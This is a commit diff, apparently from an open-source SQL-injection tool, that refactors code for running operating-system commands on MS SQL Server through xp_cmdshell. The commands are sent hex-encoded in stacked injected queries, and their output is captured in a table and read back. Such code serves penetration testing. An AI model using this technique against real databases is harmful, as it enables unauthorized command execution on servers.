Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 58f6687

Browse files
committed
Some refactoring (reusing xpCmdshellForgeCmd)
1 parent 8620767 commit 58f6687

1 file changed

Lines changed: 4 additions & 2 deletions

File tree

lib/takeover/xp_cmdshell.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -141,11 +141,13 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
141141
if cmd:
142142
self.xpCmdshellExecCmd(cmd)
143143

144-
def xpCmdshellForgeCmd(self, cmd):
144+
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
145145
self.__randStr = randomStr(lowercase=True)
146146
self.__cmd = "0x%s" % hexencode(cmd)
147147
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
148148
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
149+
if insertIntoTable:
150+
self.__forgedCmd += "INSERT INTO %s " % insertIntoTable
149151
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
150152

151153
return agent.runAsDBMSUser(self.__forgedCmd)
@@ -169,7 +171,7 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
169171

170172
output = new_output
171173
else:
172-
inject.goStacked("INSERT INTO %s EXEC %s '%s'" % (self.cmdTblName, self.xpCmdshellStr, cmd))
174+
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
173175
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
174176
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
175177

0 commit comments

Comments
 (0)